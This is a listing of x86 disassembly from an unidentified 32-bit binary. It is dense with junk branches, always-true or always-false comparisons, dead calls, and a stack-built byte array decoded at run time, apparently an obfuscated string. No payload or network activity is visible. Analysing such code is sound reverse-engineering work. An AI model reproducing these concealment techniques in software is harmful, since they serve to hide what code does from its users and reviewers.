jmp 0x1003fc86
and dword [ebp - 0x754], 0
mov eax, dword [ebp - 0x16c]
mov dword [ebp - 0x818], eax
mov eax, dword [ebp - 0x754]
mov dword [ebp - 0x8e0], eax
mov eax, dword [ebp - 0x16c]
dec eax
mov dword [ebp - 0x16c], eax
mov eax, dword [ebp - 0x818]
cmp eax, dword [ebp - 0x8e0]
jg 0x1003fcc5
mov dword [ebp - 0x4b0], 1
jmp 0x1003fccc
and dword [ebp - 0x4b0], 0
mov eax, dword [ebp - 0xf8]
add eax, dword [ebp - 0x4b0]
push 4
pop ecx
shl ecx, 0
sub eax, dword [ebp + ecx - 0x7f8]
mov dword [ebp - 0x630], eax
jne 0x1003fcff
cmp dword [ebp - 0x16c], 0
jne 0x1003fcff
and dword [ebp - 0x820], 0
jmp 0x1003fd09
mov dword [ebp - 0x820], 1
mov dword [ebp - 0x4b8], 1
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x7f8]
cmp dword [ebp - 0x4b8], eax
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0xacc]
cmp dword [ebp - 0x1f4], eax
jg 0x1003fd47
mov dword [ebp - 0x6f0], 1
jmp 0x1003fd4e
and dword [ebp - 0x6f0], 0
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x7f8]
imul eax, dword [ebp - 0x6f0]
test eax, eax
jne 0x1003fd78
cmp dword [ebp - 0x4c0], 0
jne 0x1003fd78
and dword [ebp - 0x638], 0
jmp 0x1003fd82
mov dword [ebp - 0x638], 1
mov eax, dword [ebp - 0x128]
imul eax, dword [ebp - 0x638]
test eax, eax
jne 0x1003fdac
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x4c8], 0
jne 0x1003fdac
and dword [ebp - 0x750], 0
jmp 0x1003fdb6
mov dword [ebp - 0x750], 1
mov dword [ebp - 0x174], 0
mov eax, dword [ebp - 0x174]
cmp eax, dword [ebp - 0x750]
jl 0x1003fdda
mov dword [ebp - 0x954], 1
jmp 0x1003fde1
and dword [ebp - 0x954], 0
mov eax, 0xfff8
add eax, 0xcbfa
cmp eax, 0x2138e64
jge 0x1003fdfe
mov dword [ebp - 0x4d0], 1
jmp 0x1003fe05
and dword [ebp - 0x4d0], 0
cmp dword [ebp - 0x4d0], 0xe61ffe8b
jb 0x1003fe26
cmp dword [ebp - 0x358], 0
je 0x1003fe26
mov dword [ebp - 0x640], 1
jmp 0x1003fe2d
and dword [ebp - 0x640], 0
mov eax, dword [ebp - 0x828]
cmp dword [ebp - 0x640], eax
jg 0x1003fe47
mov dword [ebp - 0x6f8], 1
jmp 0x1003fe4e
and dword [ebp - 0x6f8], 0
mov eax, dword [ebp - 0x4d8]
imul eax, dword [ebp - 0x6f8]
sub eax, dword [ebp - 0x358]
je 0x1003fe71
push 4
pop eax
shl eax, 0
cmp dword [ebp + eax - 0x7f8], 0
push 4
pop eax
shl eax, 1
push 4
pop ecx
shl ecx, 0
mov eax, dword [ebp + eax - 0x9a4]
mov dword [ebp + ecx - 0x9a4], eax
jmp 0x1003ff52
mov dword [ebp - 0x8e8], 0xffffffff
mov dword [ebp - 0x78], 0
jmp 0x1003fea9
mov eax, dword [ebp - 0x78]
inc eax
mov dword [ebp - 0x78], eax
cmp dword [ebp - 0x78], 3
jge 0x1003febf
mov eax, dword [ebp - 0x78]
mov dword [ebp + eax*4 - 0xbbc], 0x768238a5
jmp 0x1003fea2
mov dword [ebp - 0x78], 0
jmp 0x1003fecf
mov eax, dword [ebp - 0x78]
inc eax
mov dword [ebp - 0x78], eax
cmp dword [ebp - 0x78], 3
jge 0x1003fee5
mov eax, dword [ebp - 0x78]
mov dword [ebp + eax*4 - 0xbc8], 0x6f3b
jmp 0x1003fec8
lea eax, [ebp - 0x8e8]
push eax
push 1
call fcn.1003db59
pop ecx
pop ecx
mov dword [ebp - 0xf8], 0
jmp 0x1003ff0e
mov eax, dword [ebp - 0xf8]
dec eax
mov dword [ebp - 0xf8], eax
cmp dword [ebp - 0xf8], 0xffffffef
jne 0x1003ff52
push 4
pop eax
shl eax, 1
push 4
pop ecx
imul ecx, ecx, 0
mov eax, dword [ebp + eax - 0xbc8]
mov dword [ebp + ecx - 0xbbc], eax
mov byte [ebp - 0xdf], 0
movzx eax, byte [ebp - 0xdf]
test eax, eax
je 0x1003ff50
push 0x7e48
push 1
call fcn.1003db8b
pop ecx
pop ecx
jmp 0x1003ff01
mov eax, dword [ebp - 0x50]
mov ecx, dword [ebp - 0x34]
add ecx, dword [eax]
add ecx, dword [ebp - 0x3c]
mov dword [ebp - 0x14], ecx
xor ecx, ecx
call fcn.1002ba2f
push eax
call fcn.10064e18
pop ecx
mov dword [ebp - 0x7a8], 7
mov dword [ebp - 0x7a4], 7
mov dword [ebp - 0x7a0], 7
mov dword [ebp - 0x79c], 7
mov dword [ebp - 0x20], 0xfffffffa
mov dword [ebp - 0x830], 0xffffffff
mov dword [ebp - 0x4f0], 1
mov dword [ebp - 0x20], 0
jmp 0x1003ffc1
mov eax, dword [ebp - 0x20]
inc eax
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], 3
jg 0x1004012f
mov byte [ebp - 0xe9], 0
push 0x2a28
push 0x3b1a
lea eax, [ebp - 0xe9]
push eax
push 0x3a6c
push 0x5036
push 0
push 0x4636
call fcn.1003e470
add esp, 0x1c
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp + eax*4 - 0x7a8]
mov dword [ebp - 0xb38], eax
cmp dword [ebp - 0x20], 0
jne 0x1004001e
mov dword [ebp - 0x4e0], 1
jmp 0x10040025
and dword [ebp - 0x4e0], 0
mov eax, dword [ebp - 0x4e0]
mov dword [ebp - 0x830], eax
mov eax, dword [ebp - 0x20]
cmp dword [ebp + eax*4 - 0x7a8], 0xffff
jae 0x1004004d
mov dword [ebp - 0x648], 1
jmp 0x10040054
and dword [ebp - 0x648], 0
mov eax, dword [ebp - 0x20]
cmp eax, dword [ebp - 0x648]
jg 0x1004006b
mov dword [ebp - 0x95c], 1
jmp 0x10040072
and dword [ebp - 0x95c], 0
mov eax, dword [ebp - 0x20]
mov dword [ebp - 0xb40], eax
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp + eax*4 - 0x7a8]
mov dword [ebp - 0xb48], eax
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp + eax*4 - 0x7a8]
mov ecx, dword [ebp - 0x20]
add eax, dword [ebp + ecx*4 - 0x7a8]
cmp eax, dword [ebp - 0x20]
jne 0x100400b0
mov dword [ebp - 0x4e8], 1
jmp 0x100400b7
and dword [ebp - 0x4e8], 0
mov eax, dword [ebp - 0x20]
cmp dword [ebp - 0x4e8], eax
jle 0x100400ce
mov dword [ebp - 0x758], 1
jmp 0x100400d5
and dword [ebp - 0x758], 0
mov eax, dword [ebp - 0x758]
sub eax, dword [ebp - 0x20]
mov dword [ebp - 0x4f0], eax
push 9
pop eax
sub eax, dword [ebp - 0x4f0]
mov ecx, dword [ebp - 0x20]
cmp eax, dword [ebp + ecx*4 - 0x7a8]
je 0x10040112
mov eax, dword [ebp - 0x20]
cmp dword [ebp + eax*4 - 0x7a8], 0
je 0x10040112
mov dword [ebp - 0x650], 1
jmp 0x10040119
and dword [ebp - 0x650], 0
mov eax, dword [ebp - 0x650]
inc eax
mov ecx, dword [ebp - 0x20]
mov dword [ebp + ecx*4 - 0x7a8], eax
jmp 0x1003ffba
mov dword [ebp - 0x700], 0xbf90350d
mov dword [ebp - 0x3b4], 1
mov dword [ebp - 0x510], 0x8d5feaf8
mov dword [ebp - 0x8f0], 0
mov dword [ebp - 0x1fc], 0
jmp 0x10040170
mov eax, dword [ebp - 0x1fc]
inc eax
mov dword [ebp - 0x1fc], eax
cmp dword [ebp - 0x1fc], 3
jge 0x1004018c
mov eax, dword [ebp - 0x1fc]
mov dword [ebp + eax*4 - 0x3d4], 1
jmp 0x10040163
push 4
pop eax
shl eax, 0
cmp dword [ebp + eax - 0x3d4], 0
je 0x100401ac
xor eax, eax
je 0x100401ac
mov dword [ebp - 0x4f8], 1
jmp 0x100401b3
and dword [ebp - 0x4f8], 0
mov eax, dword [ebp - 0x4f8]
mov dword [ebp - 0x700], eax
mov eax, dword [ebp - 0x700]
mov dword [ebp - 0x3b4], eax
mov eax, dword [ebp - 0x510]
cmp dword [ebp - 0x3b4], eax
jg 0x100401e5
mov dword [ebp - 0x500], 1
jmp 0x100401ec
and dword [ebp - 0x500], 0
push 4
pop eax
shl eax, 0
push 4
pop ecx
shl ecx, 0
mov ecx, dword [ebp + ecx - 0x3d4]
sub ecx, 0xac54
sub ecx, dword [ebp - 0x500]
cmp dword [ebp + eax - 0x3d4], ecx
jge 0x10040220
mov dword [ebp - 0x658], 1
jmp 0x10040227
and dword [ebp - 0x658], 0
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x3d4]
cmp dword [ebp - 0x658], eax
je 0x10040248
mov dword [ebp - 0x838], 1
jmp 0x1004024f
and dword [ebp - 0x838], 0
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x3d4]
mov dword [ebp - 0xb8c], eax
cmp dword [ebp - 0x3b4], 0
je 0x10040277
mov dword [ebp - 0x508], 1
jmp 0x1004027e
and dword [ebp - 0x508], 0
imul eax, dword [ebp - 0x508], 0x237f
push 4
pop ecx
imul ecx, ecx, 0
cmp eax, dword [ebp + ecx - 0x3d4]
jg 0x100402a3
mov dword [ebp - 0x760], 1
jmp 0x100402aa
and dword [ebp - 0x760], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x3d4]
cmp dword [ebp - 0x760], eax
jge 0x100402cb
mov dword [ebp - 0x360], 1
jmp 0x100402d2
and dword [ebp - 0x360], 0
push 4
pop eax
shl eax, 0
mov ecx, dword [ebp - 0x360]
mov dword [ebp + eax - 0x3d4], ecx
mov eax, dword [ebp - 0x510]
imul eax, dword [ebp - 0x360]
test eax, eax
je 0x10040312
push 4
pop eax
shl eax, 0
cmp dword [ebp + eax - 0x3d4], 0
je 0x10040312
mov dword [ebp - 0x660], 1
jmp 0x10040319
and dword [ebp - 0x660], 0
mov eax, dword [ebp - 0x660]
mov dword [ebp - 0x8f0], eax
mov byte [ebp - 0xe1], 0
movzx eax, byte [ebp - 0xe1]
test eax, eax
je 0x10040345
push 0x4003
push 1
call fcn.1003dbe9
pop ecx
pop ecx
mov byte [ebp - 0x328], 6
mov byte [ebp - 0x327], 0x63
mov byte [ebp - 0x326], 4
mov byte [ebp - 0x325], 9
mov byte [ebp - 0x324], 0
mov byte [ebp - 0x323], 9
mov byte [ebp - 0x322], 9
mov byte [ebp - 0x321], 1
mov byte [ebp - 0x320], 2
mov byte [ebp - 0x31f], 7
mov byte [ebp - 0x31e], 1
mov byte [ebp - 0x31d], 2
mov byte [ebp - 0x31c], 3
mov byte [ebp - 0x31b], 2
mov byte [ebp - 0x31a], 0x55
mov byte [ebp - 0x319], 0x4e
mov byte [ebp - 0x318], 0xef
mov byte [ebp - 0x317], 0x20
mov byte [ebp - 0x316], 0x8e
mov byte [ebp - 0x315], 0x4d
mov byte [ebp - 0x314], 0x10
mov byte [ebp - 0x313], 0x23
mov byte [ebp - 0x312], 0xf
mov byte [ebp - 0x311], 0x84
mov byte [ebp - 0x310], 0xcc
mov byte [ebp - 0x30f], 0x46
mov byte [ebp - 0x30e], 0xbf
mov byte [ebp - 0x30d], 0xd3
mov byte [ebp - 0x30c], 0xbe
mov byte [ebp - 0x30b], 0xb6
mov byte [ebp - 0x30a], 0x5a
mov byte [ebp - 0x309], 0xf3
mov byte [ebp - 0x308], 0x57
mov byte [ebp - 0x307], 0x9f
mov byte [ebp - 0x306], 0x2b
mov byte [ebp - 0x305], 0xed
mov byte [ebp - 0x304], 0x78
mov byte [ebp - 0x303], 0xaa
mov byte [ebp - 0x302], 7
mov byte [ebp - 0x301], 6
mov byte [ebp - 0x300], 0x3d
mov byte [ebp - 0x2ff], 0x75
mov byte [ebp - 0x2fe], 6
mov byte [ebp - 0x2fd], 0xe2
mov byte [ebp - 0x2fc], 0xab
mov byte [ebp - 0x2fb], 0x4f
mov byte [ebp - 0x2fa], 0x58
mov byte [ebp - 0x2f9], 0x5f
mov byte [ebp - 0x2f8], 0x3f
mov byte [ebp - 0x2f7], 0x69
mov byte [ebp - 0x2f6], 0x40
mov byte [ebp - 0x2f5], 0x5d
mov byte [ebp - 0x2f4], 0x7f
mov byte [ebp - 0x2f3], 0x5f
mov byte [ebp - 0x2f2], 0x1a
mov byte [ebp - 0x2f1], 0x98
mov byte [ebp - 0x2f0], 0x9d
mov byte [ebp - 0x2ef], 0xb0
mov byte [ebp - 0x2ee], 0x66
mov byte [ebp - 0x2ed], 0x3a
mov byte [ebp - 0x2ec], 0x43
mov byte [ebp - 0x2eb], 0xa0
mov byte [ebp - 0x2ea], 0x4e
mov byte [ebp - 0x2e9], 0x38
mov byte [ebp - 0x2e8], 0x14
mov byte [ebp - 0x2e7], 0x92
mov byte [ebp - 0x2e6], 0x96
mov byte [ebp - 0x2e5], 0x38
mov byte [ebp - 0x2e4], 0x7d
mov byte [ebp - 0x2e3], 0xcb
mov byte [ebp - 0x2e2], 0x69
mov byte [ebp - 0x2e1], 8
mov byte [ebp - 0x2e0], 0xed
mov byte [ebp - 0x2df], 0x41
mov byte [ebp - 0x2de], 0x81
mov byte [ebp - 0x2dd], 0x69
mov byte [ebp - 0x2dc], 0xfe
mov byte [ebp - 0x2db], 0x4e
mov byte [ebp - 0x2da], 0x15
mov byte [ebp - 0x2d9], 0x30
mov byte [ebp - 0x2d8], 0xa2
mov byte [ebp - 0x2d7], 0xfe
mov byte [ebp - 0x2d6], 0x7d
mov byte [ebp - 0x2d5], 0x82
mov byte [ebp - 0x2d4], 0x84
mov byte [ebp - 0x2d3], 0x52
mov byte [ebp - 0x2d2], 0x92
mov byte [ebp - 0x2d1], 0x2f
mov byte [ebp - 0x2d0], 1
mov byte [ebp - 0x2cf], 0xf
mov byte [ebp - 0x2ce], 0x28
mov byte [ebp - 0x2cd], 0xf0
mov byte [ebp - 0x2cc], 0xf7
mov byte [ebp - 0x2cb], 0x1d
mov byte [ebp - 0x2ca], 0x22
mov byte [ebp - 0x2c9], 0x92
mov byte [ebp - 0x2c8], 0x70
mov byte [ebp - 0x2c7], 0xfa
mov byte [ebp - 0x2c6], 0x9a
mov byte [ebp - 0x2c5], 0x41
mov byte [ebp - 0x2c4], 7
mov byte [ebp - 0x2c3], 1
mov byte [ebp - 0x2c2], 8
mov byte [ebp - 0x2c1], 6
mov byte [ebp - 0x2c0], 5
mov byte [ebp - 0x2bf], 1
xor eax, eax
inc eax
shl eax, 0
movzx eax, byte [ebp + eax - 0x328]
or eax, 0x52
xor ecx, ecx
inc ecx
shl ecx, 0
movzx ecx, byte [ebp + ecx - 0x328]
and ecx, 0x52
sub eax, ecx
xor ecx, ecx
inc ecx
imul ecx, ecx, 0
movzx ecx, byte [ebp + ecx - 0x328]
mov byte [ebp + ecx - 0x7e4], al
mov dword [ebp - 0x48], 2
and dword [ebp - 0x218], 0
jmp 0x1004067c
mov eax, dword [ebp - 0x48]
inc eax
inc eax
mov dword [ebp - 0x48], eax
cmp dword [ebp - 0x48], 0x6a
jae 0x10040746
xor eax, eax
inc eax
imul eax, eax, 0
movzx eax, byte [ebp + eax - 0x328]
lea eax, [eax + eax + 2]
cmp dword [ebp - 0x48], eax
jne 0x100406c6
mov eax, dword [ebp - 0x48]
movzx eax, byte [ebp + eax - 0x328]
inc eax
mov dword [ebp - 0x218], eax
mov eax, dword [ebp - 0x48]
movzx eax, byte [ebp + eax - 0x328]
mov ecx, dword [ebp - 0x48]
lea eax, [ecx + eax - 1]
mov dword [ebp - 0x48], eax
jmp 0x10040674
mov eax, dword [ebp - 0x48]
movzx eax, byte [ebp + eax - 0x327]
mov ecx, dword [ebp - 0x48]
sub ecx, dword [ebp - 0x218]
movzx ecx, byte [ebp + ecx - 0x32a]
movsx ecx, byte [ebp + ecx - 0x7e4]
or eax, ecx
mov ecx, dword [ebp - 0x48]
movzx ecx, byte [ebp + ecx - 0x327]
mov edx, dword [ebp - 0x48]
sub edx, dword [ebp - 0x218]
movzx edx, byte [ebp + edx - 0x32a]
movsx edx, byte [ebp + edx - 0x7e4]
and ecx, edx
sub eax, ecx
mov ecx, dword [ebp - 0x48]
movzx ecx, byte [ebp + ecx - 0x328]
mov byte [ebp + ecx - 0x7e4], al
push 0
push 0x19d
push 0x3976
lea eax, [ebp - 0x218]
push eax
call fcn.1003dc2e
add esp, 0x10
jmp 0x10040674
xor eax, eax
inc eax
imul eax, eax, 0xa
mov byte [ebp + eax - 0x7e4], 0
lea eax, [ebp - 0x7e4]
push eax
lea ecx, [ebp - 0xcd4]
call fcn.10021a42
mov dword [ebp - 0x840], eax
mov eax, dword [ebp - 0x840]
mov dword [ebp - 0x994], eax
and dword [ebp - 4], 0
push 0xa
xor edx, edx
mov ecx, dword [ebp - 0x994]
call fcn.1002b9ef
pop ecx
mov dword [ebp - 0x890], eax
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0xcd4]
call fcn.100147c9
mov dword [ebp - 0x848], 5
mov dword [ebp - 0x88], 0
jmp 0x100407c4
mov eax, dword [ebp - 0x88]
inc eax
mov dword [ebp - 0x88], eax
cmp dword [ebp - 0x88], 4
jge 0x100407e0
mov eax, dword [ebp - 0x88]
mov dword [ebp + eax*4 - 0xd50], 0x313d
jmp 0x100407b7
mov dword [ebp - 0x88], 0
jmp 0x100407f9
mov eax, dword [ebp - 0x88]
inc eax
mov dword [ebp - 0x88], eax
cmp dword [ebp - 0x88], 4
jge 0x10040815
mov eax, dword [ebp - 0x88]
mov dword [ebp + eax*4 - 0x9dc], 5
jmp 0x100407ec
push 4
pop eax
shl eax, 1
mov dword [ebp + eax - 0x9dc], 0
jmp 0x10040840
push 4
pop eax
shl eax, 1
mov eax, dword [ebp + eax - 0x9dc]
inc eax
push 4
pop ecx
shl ecx, 1
mov dword [ebp + ecx - 0x9dc], eax
push 4
pop eax
shl eax, 1
cmp dword [ebp + eax - 0x9dc], 3
jg 0x10040892
mov dword [ebp - 0x8f8], 1
mov byte [ebp - 0xe7], 0
movzx eax, byte [ebp - 0xe7]
test eax, eax
je 0x10040873
push 0
call fcn.1003e727
pop ecx
push 1
lea eax, [ebp - 0x848]
push eax
lea eax, [ebp - 0x8f8]
push eax
push 0xefd
call fcn.1003dc2e
add esp, 0x10
jmp 0x10040827
and dword [ebp - 0x180], 0
jmp 0x100408a8
mov eax, dword [ebp - 0x180]
inc eax
mov dword [ebp - 0x180], eax
cmp dword [ebp - 0x180], 0xb
jae 0x100408c1
mov eax, dword [ebp - 0x180]
mov byte [ebp + eax - 0x7e4], 0
jmp 0x1004089b
mov dword [ebp - 0x24], 1
mov dword [ebp - 0x9c], 0x5d1cb6a7
mov dword [ebp - 0x990], 0x5530c4e2
mov dword [ebp - 0x98c], 0x5530c4e2
mov dword [ebp - 0x988], 0x5530c4e2
mov dword [ebp - 0x984], 0x5530c4e2
mov dword [ebp - 0x24], 0
jmp 0x1004090a
mov eax, dword [ebp - 0x24]
dec eax
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], 0xffffffe6
jne 0x10040a0b
mov dword [ebp - 0x398], 0xba07e4fc
mov eax, dword [ebp - 0x398]
mov dword [ebp - 0xb4c], eax
cmp dword [ebp - 0x398], 0x4dc80ca4
je 0x1004094b
mov eax, 0x5f5b1b6f
test eax, eax
je 0x1004094b
mov dword [ebp - 0x518], 1
jmp 0x10040952
and dword [ebp - 0x518], 0
mov eax, dword [ebp - 0x518]
dec eax
cmp eax, dword [ebp - 0x24]
jle 0x1004096a
mov dword [ebp - 0x708], 1
jmp 0x10040971
and dword [ebp - 0x708], 0
mov eax, dword [ebp - 0x708]
sub eax, 0x866
cmp dword [ebp - 0x24], eax
jne 0x1004098d
mov dword [ebp - 0x520], 1
jmp 0x10040994
and dword [ebp - 0x520], 0
mov eax, dword [ebp - 0x24]
sub eax, 5
cmp eax, dword [ebp - 0x520]
jge 0x100409ae
mov dword [ebp - 0x668], 1
jmp 0x100409b5
and dword [ebp - 0x668], 0
mov eax, dword [ebp - 0x398]
cmp dword [ebp - 0x668], eax
jl 0x100409d5
cmp dword [ebp - 0x24], 0
je 0x100409d5
mov dword [ebp - 0x528], 1
jmp 0x100409dc
and dword [ebp - 0x528], 0
mov eax, dword [ebp - 0x24]
cmp dword [ebp - 0x528], eax
jl 0x100409f3
mov dword [ebp - 0x75c], 1
jmp 0x100409fa
and dword [ebp - 0x75c], 0
mov eax, dword [ebp - 0x75c]
mov dword [ebp - 0x9c], eax
jmp 0x10040903
mov dword [ebp - 0x9c], 0
jmp 0x10040a24
mov eax, dword [ebp - 0x9c]
inc eax
mov dword [ebp - 0x9c], eax
cmp dword [ebp - 0x9c], 3
jg 0x10040cf6
mov dword [ebp - 0x188], 0xc25
mov dword [ebp - 0x368], 1
mov dword [ebp - 0x718], 0x418f7f2f
mov dword [ebp - 0x24], 3
jmp 0x10040a5f
mov eax, dword [ebp - 0x24]
dec eax
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], 0
jl 0x10040cd1
mov dword [ebp - 0xc0], 0xcb6d64bd
mov dword [ebp - 0xc0], 3
jmp 0x10040a8c
mov eax, dword [ebp - 0xc0]
dec eax
mov dword [ebp - 0xc0], eax
cmp dword [ebp - 0xc0], 0
jl 0x10040adf
mov dword [ebp - 0x1d8], 0xfffffffb
mov dword [ebp - 0x1d8], 0
jmp 0x10040ab8
mov eax, dword [ebp - 0x1d8]
inc eax
mov dword [ebp - 0x1d8], eax
cmp dword [ebp - 0x1d8], 3
jg 0x10040add
mov byte [ebp - 0xe3], 0
movzx eax, byte [ebp - 0xe3]
test eax, eax
je 0x10040adb
push 0
call fcn.1003e32d
pop ecx
jmp 0x10040aab
jmp 0x10040a7f
mov eax, dword [ebp - 0x9c]
mov eax, dword [ebp + eax*4 - 0x990]
mov dword [ebp - 0xb88], eax
cmp dword [ebp - 0x9c], 0x5b167d3d
jg 0x10040b0a
mov dword [ebp - 0x530], 1
jmp 0x10040b11
and dword [ebp - 0x530], 0
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp + eax*4 - 0x990]
cmp eax, dword [ebp - 0x530]
jle 0x10040b2f
mov dword [ebp - 0x670], 1
jmp 0x10040b36
and dword [ebp - 0x670], 0
cmp dword [ebp - 0x670], 0xffffffff
jle 0x10040b4b
mov dword [ebp - 0x538], 1
jmp 0x10040b52
and dword [ebp - 0x538], 0
mov eax, dword [ebp - 0x188]
cmp dword [ebp - 0x538], eax
jle 0x10040b6c
mov dword [ebp - 0x710], 1
jmp 0x10040b73
and dword [ebp - 0x710], 0
cmp dword [ebp - 0x710], 0xfffffff9
jl 0x10040b88
mov dword [ebp - 0x540], 1
jmp 0x10040b8f
and dword [ebp - 0x540], 0
mov eax, dword [ebp - 0x188]
cmp dword [ebp - 0x540], eax
jle 0x10040ba9
mov dword [ebp - 0x678], 1
jmp 0x10040bb0
and dword [ebp - 0x678], 0
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp + eax*4 - 0x990]
cmp dword [ebp - 0x678], eax
jl 0x10040bce
mov dword [ebp - 0x548], 1
jmp 0x10040bd5
and dword [ebp - 0x548], 0
cmp dword [ebp - 0x548], 0xffff
jne 0x10040bed
mov dword [ebp - 0x77c], 1
jmp 0x10040bf4
and dword [ebp - 0x77c], 0
mov eax, dword [ebp - 0x9c]
mov ecx, dword [ebp - 0x77c]
mov dword [ebp + eax*4 - 0x990], ecx
push 8
pop eax
cmp eax, 0xb999c826
jbe 0x10040c1d
mov dword [ebp - 0x550], 1
jmp 0x10040c24
and dword [ebp - 0x550], 0
mov eax, dword [ebp - 0x550]
mov dword [ebp - 0x368], eax
mov eax, dword [ebp - 0xc0]
cmp dword [ebp - 0x368], eax
jl 0x10040c4a
mov dword [ebp - 0x680], 1
jmp 0x10040c51
and dword [ebp - 0x680], 0
mov eax, dword [ebp - 0x188]
cmp dword [ebp - 0x680], eax
jle 0x10040c6b
mov dword [ebp - 0x558], 1
jmp 0x10040c72
and dword [ebp - 0x558], 0
mov eax, dword [ebp - 0x558]
sub eax, 7
cmp eax, dword [ebp - 0x24]
jg 0x10040c8c
mov dword [ebp - 0x850], 1
jmp 0x10040c93
and dword [ebp - 0x850], 0
mov eax, dword [ebp - 0xc0]
mov dword [ebp - 0xa5c], eax
mov eax, dword [ebp - 0x24]
mov dword [ebp - 0xa04], eax
mov eax, dword [ebp - 0x188]
mov dword [ebp - 0x9f0], eax
mov eax, dword [ebp - 0x368]
mov dword [ebp - 0x718], eax
mov eax, dword [ebp - 0x718]
mov dword [ebp - 0xc0], eax
jmp 0x10040a58
mov byte [ebp - 0xda], 0
movzx eax, byte [ebp - 0xda]
test eax, eax
je 0x10040cf1
push 1
push 0x1dd2
call fcn.1003dc84
pop ecx
pop ecx
jmp 0x10040a17
mov dword [ebp - 0x38], 0x20f89b54
mov dword [ebp - 0x118], 3
mov dword [ebp - 0xa6c], 0xa3c3d214
mov dword [ebp - 0xa10], 0x44653ff
mov dword [ebp - 0xac0], 0xc6a3f154
mov dword [ebp - 0x1e0], 3
mov dword [ebp - 0xa18], 2
mov dword [ebp - 0xb2c], 9
mov dword [ebp - 0x970], 0x99843334
mov dword [ebp - 0xa20], 0xd170
mov dword [ebp - 0x860], 0xffffffff
mov dword [ebp - 0xb5c], 0xbd42f903
mov dword [ebp - 0xb58], 0xbd42f903
mov dword [ebp - 0xb54], 0xbd42f903
mov dword [ebp - 0xb50], 0xbd42f903
mov dword [ebp - 0x64], 0
jmp 0x10040d99
mov eax, dword [ebp - 0x64]
inc eax
mov dword [ebp - 0x64], eax
cmp dword [ebp - 0x64], 3
jge 0x10040daf
mov eax, dword [ebp - 0x64]
mov dword [ebp + eax*4 - 0x340], 0x85f70ad6
jmp 0x10040d92
mov dword [ebp - 0x64], 0
jmp 0x10040dbf
mov eax, dword [ebp - 0x64]
inc eax
mov dword [ebp - 0x64], eax
cmp dword [ebp - 0x64], 2
jge 0x10040dd5
mov eax, dword [ebp - 0x64]
mov dword [ebp + eax*4 - 0xbd0], 1
jmp 0x10040db8
mov dword [ebp - 0x38], 0
jmp 0x10040de5
mov eax, dword [ebp - 0x38]
inc eax
mov dword [ebp - 0x38], eax
cmp dword [ebp - 0x38], 2
jg 0x10041238
mov dword [ebp - 0x100], 0
mov dword [ebp - 0x3b8], 0xfffd
mov dword [ebp - 0x20c], 0
jmp 0x10040e1c
mov eax, dword [ebp - 0x20c]
inc eax
mov dword [ebp - 0x20c], eax
cmp dword [ebp - 0x20c], 4
jge 0x10040e38
mov eax, dword [ebp - 0x20c]
mov dword [ebp + eax*4 - 0xc40], 0xffffffff
jmp 0x10040e0f
mov dword [ebp - 0x100], 2
jmp 0x10040e51
mov eax, dword [ebp - 0x100]
dec eax
mov dword [ebp - 0x100], eax
cmp dword [ebp - 0x100], 0
jl 0x10040f9b
mov dword [ebp - 0x560], 0x5b8b78ac
mov dword [ebp - 0x858], 0x6364d64e
mov dword [ebp - 0x560], 0xfffffffc
push 4
pop eax
shl eax, 1
mov eax, dword [ebp + eax - 0x340]
cmp eax, dword [ebp - 0x560]
jge 0x10040e9c
mov dword [ebp - 0x950], 1
jmp 0x10040ea3
and dword [ebp - 0x950], 0
push 4
pop eax
shl eax, 1
cmp dword [ebp + eax - 0x340], 0xffff
jae 0x10040ec1
mov dword [ebp - 0x688], 1
jmp 0x10040ec8
and dword [ebp - 0x688], 0
mov eax, dword [ebp - 0x100]
cmp dword [ebp - 0x688], eax
jge 0x10040ee2
mov dword [ebp - 0x568], 1
jmp 0x10040ee9
and dword [ebp - 0x568], 0
mov eax, dword [ebp - 0x38]
mov eax, dword [ebp + eax*4 - 0x340]
imul eax, dword [ebp - 0x568]
mov ecx, dword [ebp - 0x38]
cmp eax, dword [ebp + ecx*4 - 0x340]
je 0x10040f12
mov dword [ebp - 0x764], 1
jmp 0x10040f19
and dword [ebp - 0x764], 0
mov eax, dword [ebp - 0x38]
mov eax, dword [ebp + eax*4 - 0x340]
cmp eax, dword [ebp - 0x764]
jle 0x10040f37
mov dword [ebp - 0x570], 1
jmp 0x10040f3e
and dword [ebp - 0x570], 0
mov eax, dword [ebp - 0x38]
mov eax, dword [ebp + eax*4 - 0x340]
add eax, dword [ebp - 0x570]
cmp eax, 0xc279a20b
jb 0x10040f61
mov dword [ebp - 0x690], 1
jmp 0x10040f68
and dword [ebp - 0x690], 0
mov eax, dword [ebp - 0x690]
mov dword [ebp - 0x858], eax
mov byte [ebp - 0xdc], 0
lea eax, [ebp - 0xdc]
push eax
push 0x45ca
push 0x7395
push 0
call fcn.1003e8b1
add esp, 0x10
jmp 0x10040e44
mov eax, dword [ebp - 0x3b8]
dec eax
mov dword [ebp - 0x3b8], eax
mov dword [ebp - 0x118], 2
jmp 0x10040fc1
mov eax, dword [ebp - 0x118]
dec eax
mov dword [ebp - 0x118], eax
cmp dword [ebp - 0x118], 0
jl 0x10041233
mov dword [ebp - 0x590], 0
mov dword [ebp - 0x190], 0
jmp 0x10040ff1
mov eax, dword [ebp - 0x190]
inc eax
mov dword [ebp - 0x190], eax
cmp dword [ebp - 0x190], 1
jge 0x1004100d
mov eax, dword [ebp - 0x190]
mov dword [ebp + eax*4 - 0x868], 0xfffffffb
jmp 0x10040fe4
mov eax, dword [ebp - 0x38]
cmp dword [ebp + eax*4 - 0x340], 0
je 0x1004101f
jmp 0x10041233
mov dword [ebp - 0x1e0], 2
jmp 0x10041038
mov eax, dword [ebp - 0x1e0]
dec eax
mov dword [ebp - 0x1e0], eax
cmp dword [ebp - 0x1e0], 0
